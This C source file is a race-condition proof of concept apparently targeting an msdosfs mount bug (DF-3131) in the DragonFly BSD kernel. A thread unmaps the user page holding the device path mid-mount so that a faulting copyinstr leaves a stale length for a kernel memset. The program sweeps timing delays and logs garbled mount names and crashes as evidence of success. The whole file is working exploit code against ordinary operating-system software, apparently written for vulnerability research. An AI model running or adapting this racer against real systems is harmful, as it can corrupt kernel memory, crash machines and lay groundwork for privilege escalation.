/*
 * DF-3131 attempt 2: delay-swept one-shot racer.  A single mount() call
 * runs while the munmap is timed to land inside mountmsdosfs() -- after
 * the nlookup of fspec but before the ignored copyinstr at
 * msdosfs_vfsops.c:281.  If copyinstr faults there, `size` keeps stale
 * stack garbage and the memset at :282 writes with a garbage offset/len.
 * After each successful mount the f_mntfromname of the mount is checked:
 * a garbled/empty name = the copyinstr faulted (race landed, benign
 * garbage); a kernel crash = the race landed with hostile garbage.
 *
 * usage: race2 <device> <mountpoint> <iterations>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/mount.h>   /* statfs: DFly lives here */
#include <sys/types.h>
#include <sys/iconv.h>
#include <vfs/msdosfs/msdosfsmount.h>

static char *pagebase;
static volatile int go;
static long usec_delay = 1500;
static volatile int stop;

static void mapit(void)
{
	void *p = mmap(pagebase, 4096, PROT_READ | PROT_WRITE,
		       MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
	if (p == MAP_FAILED) { perror("mmap"); exit(2); }
	memcpy(pagebase, "/dev/vn0", 9);
}

static void *unmapper(void *arg)
{
	(void)arg;
	while (!stop) {
		while (!go && !stop)
			usleep(20);
		if (stop) break;
		usleep(usec_delay);
		munmap(pagebase, 4096);
		usleep(300);
		mapit();
		go = 0;
	}
	return NULL;
}

int main(int argc, char **argv)
{
	struct msdosfs_args args;
	struct statfs sf;
	pthread_t th;
	int i, n, ok = 0, nlookup_efault = 0, badname = 0, other = 0;

	if (argc != 4) { fprintf(stderr, "usage: race2 <dev> <mnt> <iters>\n"); return 2; }
	n = atoi(argv[3]);
	pagebase = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
	memcpy(pagebase, argv[1], strlen(argv[1]) + 1);
	pthread_create(&th, NULL, unmapper, NULL);

	for (i = 0; i < n; i++) {
		usec_delay = 300 + (i * 37) % 4000;         /* sweep 0.3-4.3 ms */
		go = 1;
		memset(&args, 0, sizeof(args));
		args.fspec = pagebase;
		args.mask = 0755; args.dirmask = 0755;
		args.flags = MSDOSFSMNT_LONGNAME;
		if (mount("msdos", argv[2], 0, &args) == 0) {
			ok++;
			if (statfs(argv[2], &sf) == 0) {
				if (strcmp(sf.f_mntfromname, argv[1]) != 0) {
					badname++;
					if (badname <= 5)
						printf("GARBLED mntfromname [%s] "
						       "(delay %ld us)\n",
						       sf.f_mntfromname,
						       usec_delay);
				}
			}
			unmount(argv[2], 0);
			usleep(1000);              /* let unmapper finish cycle */
			while (go) usleep(50);
		} else if (errno == EFAULT) {
			nlookup_efault++;
			while (go) usleep(50);
		} else {
			other++;
			while (go) usleep(50);
		}
	}
	stop = 1; pthread_join(th, NULL);
	printf("done: ok=%d garbled_name=%d nlookup_EFAULT=%d other=%d\n",
	       ok, badname, nlookup_efault, other);
	return 0;
}
